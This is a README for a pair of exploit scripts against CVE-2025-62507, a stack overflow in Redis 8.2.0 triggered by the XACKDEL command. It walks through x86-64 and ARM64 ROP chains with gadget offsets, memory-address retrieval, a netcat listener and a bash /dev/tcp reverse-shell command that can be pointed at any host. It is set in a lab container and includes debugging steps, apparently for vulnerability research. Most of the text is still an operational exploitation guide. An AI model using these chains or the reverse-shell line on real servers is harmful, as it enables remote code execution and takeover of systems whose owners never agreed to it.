Exploit Scripts — CVE-2025-62507
Directory Structure
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB debugging helper script
Vulnerability Summary
| Item | Description |
|---|
| CVE | CVE-2025-62507 |
| Vulnerability Type | Stack Buffer Overflow |
| Affected Component | Redis 8.2.0 xackdelCommand function |
| Trigger Method | XACKDEL command with more than 52 stream IDs |
| Exploitation Technique | ROP chain → mprotect to unlock stack execution → shellcode for reverse shell |
| Dependencies | Python 3 (pure standard library, no extra installation required) |
Prerequisites
- Target Environment: Docker container or host running Redis 8.2.0 (vulnerable version)
- Listener Terminal: Attack machine must start
nc -lvnp 4444 in advance waiting for a reverse shell
- Address Retrieval Permission: Must be able to read
/proc/<PID>/maps of the target process (root privilege)
- Python 3: Both exploit scripts only use standard libraries (
socket, struct, time, sys)
Quick Start
1. Start the Vulnerable Redis Container
# Execute from the project root
docker compose -f docker-compose-vulnerable.yml up -d
# Verify the container is running
docker ps | grep redis-cve-2025-62507
2. Obtain Key Memory Addresses
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 address retrieval
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
Note: Addresses change after each container restart (ASLR), must be re-obtained.
3. Start Reverse Shell Listener
# Open another terminal on the host
nc -lvnp 4444
4. Run the Exploit
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU fixed addresses, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — x86-64 ROP Exploit
Usage
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
Parameter Description
ROP Chain Architecture
52 padding IDs (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
Gadget Offsets (redis-server-8.2.0)
Custom Reverse Shell Address
The reverse_shell_cmd variable is defined on line 149 of the script, with the default value:
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
Modification: Edit exploit_x86.py, find the reverse_shell_cmd line, replace the IP and port:
Port modification: Replace 4444 in /dev/tcp/<IP>/4444 with the actual listening port.
stack_page is dynamically calculated from the stack_addr parameter: (stack_addr + 0x1000) & ~0xFFF, ensuring the mprotect window covers the stack region containing shellcode. If stack layout is unusual, adjust accordingly.
exploit_arm64.py — ARM64 ROP Exploit
Usage
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
Parameter Description
ARM64 Note: stack_addr is the SP value at xackdelCommand entry (NOT the [stack] segment start address!). static_ids[0] = stack_addr - 0x310, call()'s saved x30 is at stack_addr + 8 (i.e., static_ids[49].seq).
ROP Chain Architecture
49 padding IDs (1-1)
│
▼
ID#49-58 call() epilogue frame (10 IDs) — overwrites call() saved registers and local variables
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: local variables (set to 0)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
Critical: The epilogue of call() restores x19-x28 and reads multiple local variables from the stack before ret. ID#49-58 must be filled with safe values, otherwise the epilogue will crash during execution. The ROP chain starts from ID#59 (SP position after call() ret).
Gadget Offsets (redis-server-8.2.0-arm64)
Gadget Offsets (libc.so.6-arm64, inside Docker container)
Note: LDR_X1_SIDELOAD has a mov x0, x1 side effect; after execution, x0 will be overwritten by x1. Use G5 or LDR_X0_CLEAN to reset x0 afterwards.
Custom Reverse Shell Address
reverse_shell_cmd is dynamically built in the build_exploit_arm64() function based on the rev_shell_host and rev_shell_port parameters:
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
Recommended method: Specify the reverse shell address via command line arguments:
# Default: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# Custom reverse address and port:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
Direct modification: Edit exploit_arm64.py, modify the default parameter values in the exploit() function:
GDB Debugging
Using gdb_with_symbols.sh
# Get the Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# Launch GDB and automatically set breakpoints
./scripts/gdb_with_symbols.sh $REDIS_PID
The script will automatically:
- Load the symbol table from
binaries/redis-server-8.2.0
- Set a breakpoint at
xackdelCommand
- Set a breakpoint at
mprotect
- Set a breakpoint at
system
Key Breakpoint Locations
# xackdelCommand entry — observe normal stack layout
break xackdelCommand
# After the 53rd streamID is written — observe return address overwrite
# (set conditional breakpoint inside loop)
# Before mprotect call — verify arguments rdi/rsi/rdx
break mprotect
# Before system call — verify rdi points to command string
break system
Verifying Key Exploit Steps
# 1. After entering xackdelCommand, locate the static_ids array
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. When mprotect breakpoint triggers, verify arguments
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# Expected: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. After mprotect returns, check RAX/X0 (=0 indicates success)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. Observe shellcode execution
(gdb) x/20i $rsp # x86-64: shellcode after call rsp
(gdb) x/20i $x30 # ARM64: return address before jump
Troubleshooting
Environment Cleanup
# Stop and remove container
docker compose -f docker-compose-vulnerable.yml down
File Reference